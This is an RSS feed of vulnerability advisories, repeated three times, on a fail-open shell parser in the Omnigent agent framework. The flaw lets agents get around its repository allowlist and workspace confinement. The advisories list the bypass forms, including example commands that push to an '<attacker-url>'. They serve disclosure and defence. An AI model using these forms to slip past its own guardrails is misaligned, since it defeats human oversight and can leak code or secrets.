<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 04 Oct 2026 22:41:55 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-62676</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2026-62676</link>
      <description>&lt;p&gt;Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2026-62676</guid>
    </item>
    <item>
      <title>GHSA-7mqg-cx4g-x2rf — Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-7mqg-cx4g-x2rf</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: omnigent&lt;/p&gt;
&lt;p&gt;**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)
**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi &amp;#34;in check with policies and sandboxing&amp;#34;
**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The shared shell-command parser **fails open**. When a gated command spells something the parser doesn&amp;#39;t recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product&amp;#39;s two core safety guarantees.&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;A misaligned or prompt-injected agent that is *meant to be confined* can:&lt;/p&gt;
&lt;p&gt;- `git push` to an attacker-controlled repo (code / secret exfiltration),
- push to a protected branch,
- escape its workspace via `git worktree add` / `git -C &amp;lt;other-dir&amp;gt;`.&lt;/p&gt;
&lt;p&gt;## Bypass classes (all verified against the real policy code)&lt;/p&gt;
&lt;p&gt;- **Combined interpreter flags:** `bash -lc &amp;#34;git push &amp;lt;attacker-url&amp;gt;&amp;#34;`
- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf … git push …`
- **Command substitution:** `x=$(git push &amp;lt;attacker-url&amp;gt;)`
- **Un-split background operator:** `true &amp;amp; git push &amp;lt;attacker-url&amp;gt;`&lt;/p&gt;
&lt;p&gt;Controls that **correctly hold** (confirming this i…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: omnigent&lt;/p&gt;
&lt;p&gt;**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)
**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi &amp;#34;in check with policies and sandboxing&amp;#34;
**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The shared shell-command parser **fails open**. When a gated command spells something the parser doesn&amp;#39;t recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product&amp;#39;s two core safety guarantees.&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;A misaligned or prompt-injected agent that is *meant to be confined* can:&lt;/p&gt;
&lt;p&gt;- `git push` to an attacker-controlled repo (code / secret exfiltration),
- push to a protected branch,
- escape its workspace via `git worktree add` / `git -C &amp;lt;other-dir&amp;gt;`.&lt;/p&gt;
&lt;p&gt;## Bypass classes (all verified against the real policy code)&lt;/p&gt;
&lt;p&gt;- **Combined interpreter flags:** `bash -lc &amp;#34;git push &amp;lt;attacker-url&amp;gt;&amp;#34;`
- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf … git push …`
- **Command substitution:** `x=$(git push &amp;lt;attacker-url&amp;gt;)`
- **Un-split background operator:** `true &amp;amp; git push &amp;lt;attacker-url&amp;gt;`&lt;/p&gt;
&lt;p&gt;Controls that **correctly hold** (confirming this i…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-7mqg-cx4g-x2rf</guid>
    </item>
    <item>
      <title>PYSEC-2026-3873 — Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-3873</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: omnigent&lt;/p&gt;
&lt;p&gt;**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)
**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi &amp;#34;in check with policies and sandboxing&amp;#34;
**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The shared shell-command parser **fails open**. When a gated command spells something the parser doesn&amp;#39;t recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product&amp;#39;s two core safety guarantees.&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;A misaligned or prompt-injected agent that is *meant to be confined* can:&lt;/p&gt;
&lt;p&gt;- `git push` to an attacker-controlled repo (code / secret exfiltration),
- push to a protected branch,
- escape its workspace via `git worktree add` / `git -C &amp;lt;other-dir&amp;gt;`.&lt;/p&gt;
&lt;p&gt;## Bypass classes (all verified against the real policy code)&lt;/p&gt;
&lt;p&gt;- **Combined interpreter flags:** `bash -lc &amp;#34;git push &amp;lt;attacker-url&amp;gt;&amp;#34;`
- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf … git push …`
- **Command substitution:** `x=$(git push &amp;lt;attacker-url&amp;gt;)`
- **Un-split background operator:** `true &amp;amp; git push &amp;lt;attacker-url&amp;gt;`&lt;/p&gt;
&lt;p&gt;Controls that **correctly hold** (confirming this i…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: omnigent&lt;/p&gt;
&lt;p&gt;**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)
**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi &amp;#34;in check with policies and sandboxing&amp;#34;
**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The shared shell-command parser **fails open**. When a gated command spells something the parser doesn&amp;#39;t recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product&amp;#39;s two core safety guarantees.&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;A misaligned or prompt-injected agent that is *meant to be confined* can:&lt;/p&gt;
&lt;p&gt;- `git push` to an attacker-controlled repo (code / secret exfiltration),
- push to a protected branch,
- escape its workspace via `git worktree add` / `git -C &amp;lt;other-dir&amp;gt;`.&lt;/p&gt;
&lt;p&gt;## Bypass classes (all verified against the real policy code)&lt;/p&gt;
&lt;p&gt;- **Combined interpreter flags:** `bash -lc &amp;#34;git push &amp;lt;attacker-url&amp;gt;&amp;#34;`
- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf … git push …`
- **Command substitution:** `x=$(git push &amp;lt;attacker-url&amp;gt;)`
- **Un-split background operator:** `true &amp;amp; git push &amp;lt;attacker-url&amp;gt;`&lt;/p&gt;
&lt;p&gt;Controls that **correctly hold** (confirming this i…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-3873</guid>
    </item>
  </channel>
</rss>
